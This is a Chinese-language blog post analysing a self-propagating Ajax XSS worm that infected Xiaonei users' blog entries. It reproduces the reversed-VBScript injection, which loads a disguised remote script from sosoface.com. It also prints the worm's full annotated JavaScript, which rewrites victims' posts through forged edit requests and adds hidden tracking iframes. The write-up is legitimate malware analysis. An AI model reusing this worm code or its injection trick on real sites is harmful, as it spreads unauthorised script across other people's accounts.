一个不为人知的感染几百万校内网用户的蠕虫分析

本文分析了一种基于Ajax的校内网蠕虫,详细解释了其感染机制、传播方式及隐藏技巧。蠕虫通过修改用户的日志内容来实现自我复制,并利用iframe进行流量统计。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫,开始还以为是我的网页有问题,就随便打开几个人的页面查看,发现许多人的页面上也有这段代码。
Copy code
<a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>

      以上代码出现在日志的开头,只有查看源文件才能发现。它将vbscript调了个头写,调回来就变成以下内容:
Copy code
set s=document.createElement("script")
s.src=http://www.sosoface.com/images/xnjs.jpg
document.getElementById("mya113").parentNode.insertBefore s,document.getElementById("mya113")

        在这段脚本中它又新建了一个script,它的src指向 http://www.sosoface.com/images/xnjs.jpg(别相信后缀),下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00(真不敢相信填充了那么多00 IE还能执行),不过用Dreamweaver打开显示正常,拷出JS。然后花了几乎一天的时间来分析这个js文件,发现它完完全全是一个基于ajax的蠕虫。
    值得注意的是作者好像很低调,在蠕虫代码中除了感染就是隐藏,没有一行破坏性的代码,仅仅是加了一个站长统计,估计作者是用来研究蠕虫传播情况的,因为站长统计要密码我们进不去,所以不知道具体的感染情况,但是我刚才在google上搜了下sosoface,还是看到这个网站的流量图:
http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&r=1192875678218


从图上可以看到流量在几天时间里大增,这些天应该是蠕虫感染的时间。日访问人数从0猛增到500百万人/天,也就是每天那个JPG要被访问5亿次 考虑到一个人可能访问多个页面,粗略估计应该至少有几百万人受到感染。另外,也就在大概两三天前这个蠕虫应该是被校内的人发现了,一夜之间全部消失了。Sosoface也被停了。


下面来分析感染代码,我直接把注释写在JS中了,原本的程序可是一行注释也没有的。看时从最底下的start函数看起:
Copy code
var req = null;
var step=null;
var DiaryMonthUrlList="",DiaryUrlList="";
var timer=null;
var bIsBusy=false;


var myrand="46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.47.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.96.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.102.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.113.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.44.46.61.115.44";

function my_HtmlDecode(str)
{
    str=str.replace(/</g,"<");
    str=str.replace(/>/g,">");
    str=str.replace(/&/g,"&");
    str=str.replace(/ /g," ");
    str=str.replace(/"/g,"/"");
    str=str.replace(/<br>/g,"/n");
    str=str.replace(/#/g,"#");
    str=str.replace(/(/g,"(");
    str=str.replace(/)/g,")");
    str=str.replace(/"/g,"/"");
    str=str.replace(/'/g,"'");
    str=str.replace(/#/g,"#");
    str=str.replace(/(/g,"(");
    str=str.replace(/)/g,")");
    str=str.replace(/"/g,"/"");
    str=str.replace(/'/g,"'");
    return str;
}
function processReqChange()
{
    if (req.readyState == 4 && req.status == 200 )
    {
        if("WriteIframe"==step)
        {
            var text,len,i=0,j=0,temp;
           
            text=req.responseText;
            i=text.indexOf("<div class=/"article/">",0);
            if(-1==i){return}
            i=text.indexOf("http://blog.xiaonei.com/GetEntry.do",i);
            if(-1==i){return}
            j=text.indexOf("/"",i);
            if(-1==j){return}
            text=text.substring(i,j);
       
            document.getElementById("mya113").style.background="#FFFFFF";
            var s=document.createElement("iframe");
            s.frameborder="0";
            s.height="0";
            s.width="1";
            s.src=text;
            document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));
        }
        else    if("GetDiaryMonthList"==step)
        {
            var text,len,i=0,j=0,temp;
            //text的内容就和用户点“我的日志”得到的内容一样,分析HTML,得到“日志存档”中的每一个链接,保存到DiaryMonthUrlList中
            //然后跳到GetStatus函数,此时step="GetDiaryList" 取出每个月的日志列表
            text=req.responseText;
            i=text.indexOf("<div id=/"list-archive/">",0);
            if(-1==i){return}
            j=text.indexOf("<div class=/"bottom-box/">",i);
            if(-1==j){return}
            text=text.substring(i,j);
           
            i=j=0;
            while(1)
            {
                i=text.indexOf("http://blog.xiaonei.com/MyBlog.do",i);
                if(-1==i)break;
                j=text.indexOf("'>",i);
                if(-1==j)break;
                temp=text.substring(i,j);
                i+=temp.length;
                temp=my_HtmlDecode(temp)+"|";
                DiaryMonthUrlList+=temp;
            }
            if(DiaryMonthUrlList.length<=1)
            {
                return;
            }
           
            step="GetDiaryList";
            req=null;
            bIsBusy=false;
            timer=window.setInterval(GetStatus,1000);
        }
        else if("GetDiaryList"==step)
        {
            var text,len,i,j,temp,temp2;
            var text2="http://blog.xiaonei.com/EditEntry.do?id=";
           
            //text的内容就和用户点了“日志存档”后的内容一样
            //分析HTML得到每个月的日志列表保存在DiaryUrlList中,然后step=GetDiaryText也就是取得日志的内容,
            //看本函数下面else if("GetDiaryText"==step)就是了
            text=req.responseText;
           
            len=text.length;
            i=text.indexOf("<div id=/"list-article/">");
            if(-1==i)
            {
                req=null;
                bIsBusy=false;
                return;
            }
            j=text.indexOf("</table>",i);
            if(-1==j)
            {
                req=null;
                bIsBusy=false;
                return;
            }
            text=text.substring(i,j);
            i=j=0;
           
           
            while(1)
            {
                j=0;
                len=0;
                j=DiaryUrlList.indexOf("|",j);
                while(j!=-1)
                {
                    j++;
                    len++;
                    j=DiaryUrlList.indexOf("|",j);
                }
               
                if(len>=5)//只感染前5篇日志 或者是4篇 没仔细研究
                {
                    break;
                }
               
                i=text.indexOf(text2,i);
                if(-1==i)
                {
                    break;
                }
                i+=text2.length;
                j=text.indexOf("/">",i);
                if(-1==j || j-i>10)
                {
                    break;
                }
                temp=text2+text.substring(i,j)+"|";
                DiaryUrlList+=temp;               
            }
            req=null;
            bIsBusy=false;
        }
        else if("GetDiaryText"==step)
        {
            var text,len,i,j;
            var argv;
            var title,body,blog_pic_id="0",pic_path,blogControl,Diaryid;
           
           
            text=req.responseText;
            //这个模块模拟用户编辑日志,在每篇日志的开关都加上
            //<a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>
           
            i=text.indexOf("<form action=/"http://upload.xiaonei.com/EditEntry.do/"",0);
           
            if(-1==i)
            {
                return;
            }
            i+=53;
           
            j=text.indexOf("</form>",i);
            if(-1==j)
            {
                return;
            }

            text=text.substring(i,j);
            //------------------------
           
            i=text.indexOf("id=/"title/" class=/"inputtext/" tabindex=/"1/" value=/"",0);
            if(-1==i)return;
            i+=49;
            j=text.indexOf("/" />",i);
            if(-1==j)return;
            title=text.substring(i,j);
            //---
            i=text.indexOf("<textarea name=/"body/" id=/"body/" cols=/"100%/" style=/"display:none/">",0);
            if(-1==i)return;
            i+=65;
            j=text.indexOf("</textarea>",i);
            if(-1==j)return;
            body=text.substring(i,j);
            //---
            i=text.indexOf("id=/"blog_pic_id/" value=/"",0);
            if(-1==i)return;
            i+=24;
            j=text.indexOf("/" />",i);
            if(-1==j)return;
            blog_pic_id=text.substring(i,j);
            //---
            i=text.indexOf("id=/"pic_path/" value=/"",0);
            if(-1==i)return;
            i+=21;
            j=text.indexOf("/" />",i);
            if(-1==j)return;
            pic_path=text.substring(i,j);
            //---
            i=text.indexOf("name=/"id/" value=/"",0);
            if(-1==i)return;
            i+=17;
            j=text.indexOf("/" />",i);
            if(-1==j)return;
            Diaryid=text.substring(i,j);
            //---
            i=text.indexOf("/" selected=/"selected/"",0);
            if(-1==i)return;
            j=i-2;
            if(text.substr(j,1)=="/"")
                j++;
            blogControl=text.substring(j,i);
           
           
            body=my_HtmlDecode(body);
            if(body.indexOf("mya113",0)>=0)//已经感染过,不再感染
            {
                req=null;
                step="GetDiaryText";
                bIsBusy=false;
               
                return;
            }
            else
            {
                ;
            }
            //以上是取日志的各个变量信息
            //以下开头就感染日志并修改
           
            body=MyDecode(myrand)+body;
            //感染日志 在日志的开头加上跨站代码
            //MyDecode(myrand)中保存的就是跨站的关键代码,作者加密了一下放在myrand变量中,程序开头的一长串数据就是
           
            //以下开始POST提交修改过的日志
            argv="/r/n";
            argv+="-----------------------------7d71861cb014c/r/nContent-Disposition: form-data; name=/"title/"/r/n/r/n";
            argv+=(title+"/r/n");
            argv+="-----------------------------7d71861cb014c/r/nContent-Disposition: form-data; name=/"body/"/r/n/r/n";
            argv+=(body+"/r/n");
            argv+="-----------------------------7d71861cb014c/r/nContent-Disposition: form-data; name=/"theFile/"; filename=/"/"/r/nContent-Type: application/octet-stream/r/n/r/n/r/n";
            argv+="-----------------------------7d71861cb014c/r/nContent-Disposition: form-data; name=/"blog_pic_id/"/r/n/r/n";
            argv+=(blog_pic_id+"/r/n");
            argv+="-----------------------------7d71861cb014c/r/nContent-Disposition: form-data; name=/"pic_path/"/r/n/r/n";
            argv+=(pic_path+"/r/n");
            argv+="-----------------------------7d71861cb014c/r/nContent-Disposition: form-data; name=/"blogControl/"/r/n/r/n";
            argv+=(blogControl+"/r/n");
            argv+="-----------------------------7d71861cb014c/r/nContent-Disposition: form-data; name=/"id/"/r/n/r/n";
            argv+=(Diaryid+"/r/n");
            argv+="-----------------------------7d71861cb014c/r/nContent-Disposition: form-data; name=/"relative_optype/"/r/n/r/n";
            argv+=("publisher"+"/r/n");
            argv+="-----------------------------7d71861cb014c/r/nContent-Disposition: form-data; name=/"del_relative_id/"/r/n/r/n/r/n";
            argv+="-----------------------------7d71861cb014c--/r/n";
                               
           
            req=null;
            step="EditDiaryText";
            loadUrl("http://blog.xiaonei.com/EditEntry.do","POST",argv);
           

        }
        else if("EditDiaryText"==step)
        {
           
            req=null;
            bIsBusy=false;
            step="GetDiaryText";
        }
        else
        {
            ;
        }
       
    }
}
function MyDecode(str)
{
    var i,k,str2="";
   
    k=str.split(".");
   
    for(i=0;i<k.length;i++)
    {
        str2+=String.fromCharCode(k[i]^0x12);
    }
    return str2;
}
function loadUrl( url,method,argv )
{
    bIsBusy=true;
    if(!req)
    {
        if(window.XMLHttpRequest)
        {
            try
            {
                req = new XMLHttpRequest();
            } catch(e) { req = false; }
        }
        else if(window.ActiveXObject)
        {
            try
            {
                req = new ActiveXObject('Msxml2.XMLHTTP');
            }
            catch(e)
            {
                try
                {
                    req = new ActiveXObject('Microsoft.XMLHTTP');
                } catch(e) { req = false; }
            }
        }
    }
    if(req)
    {
        req.onreadystatechange = processReqChange;
        try
        {
            req.open(method, url, true);
            if(method=="POST")
                req.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------7d71861cb014c");
            req.send(argv);
        }catch(e)
        {
            req=false;
        }
    }
}
function GetStatus()
{
    if(bIsBusy)return;
   
    if("GetDiaryList"==step)
    {
        var DiaryMonthUrl,i;
       
        //取出每个月的日志列表
        if(DiaryMonthUrlList.length<=1)
        {
            step="GetDiaryText";
            return;
        }
        i=DiaryMonthUrlList.indexOf("|",0);
        if(-1==1)
        {
            step="GetDiaryText";
            return;
        }
        DiaryMonthUrl=DiaryMonthUrlList.substring(0,i);
        DiaryMonthUrlList=DiaryMonthUrlList.substring(i+1,DiaryMonthUrlList.length);
       
        //再回到开头的processReqChange函数 此时step还是GetDiaryList
        loadUrl(DiaryMonthUrl,"GET","");

    }
    else if("GetDiaryText"==step)
    {
        var DiaryUrl,i;
        if(DiaryUrlList.length<=1)
        {
            clearInterval(timer);
            return;
        }
       
        i=DiaryUrlList.indexOf("|",0);
        if(-1==i)
        {
            clearInterval(timer);
            return;
        }

        DiaryUrl=DiaryUrlList.substring(0,i);
        DiaryUrlList=DiaryUrlList.substring(i+1,DiaryUrlList.length);

        loadUrl(DiaryUrl,"GET","");
    }
}
function WriteStat()
{
    var s=document.createElement("iframe");
    s.frameborder="0";
    s.height="0";
    s.width="0";
    s.src="http://www.sosoface.com/images/stat.jpg";
    document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));

}

function DeleteScript(html)
{
    var i=0,j=0,str;
   
    str=html;

    i=str.indexOf("</A>",0);
    if(-1==i)
        return str;
    i+=4;
    str=str.substring(i,str.length);

    return str;   
}
function EditorSubmit()
{
    var ret=false;
    parent.parent.descOptype();
    ret=parent.parent.beforeSubmit();

    parent.parent.document.getElementById("body").value=MyDecode(myrand)+DeleteScript(parent.parent.document.getElementById("body").value);

    return ret;
}
function Start()
{
    //判断是不是blog.xiaonei.com域,由于ajax是不能跨域的,所以判断是必备的
    if("blog.xiaonei.com"==document.domain)
    {
        //如果是在编辑已感染的日志 就做了一些奇怪的行为,我看不懂,好像是把自己重写了一遍,不知道为什么这样做
        if("http://blog.xiaonei.com/pages/editor/win.htm"==document.location)
        {
            parent.parent.document.getElementById("editorForm").onsubmit=EditorSubmit;
        }
        else
        {
           
            WriteStat();//这是一个用户流量统计的函数,使用cnzz 站长助手
            //下面开始感染了,第一步GetDiaryMonthList,得到日志的按月归档
            step="GetDiaryMonthList";
            loadUrl("http://blog.xiaonei.com/MyBlog.do","GET","");//loadUrl是一个ajax读取页面内容的函数
            //下面跳到开头的processReqChange函数
        }
    }
    else if("xiaonei.com"==document.domain || "www.xiaonei.com"==document.domain)
    {
        //如果不在blog.xiaonei.com域就写入一个Iframe Iframe的SRC是日志的URL
        //这个URL是blog.xiaonei.com域的,就变向的实现了跨域,
        //作者这样做应该是为了一访问别人的主页就能感染 
        var url="";
       
        url=document.location.toString();
        if(url.indexOf("&")==-1)
            return;
        step="WriteIframe";
        loadUrl(url,"GET","");
    }
}

Start();
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值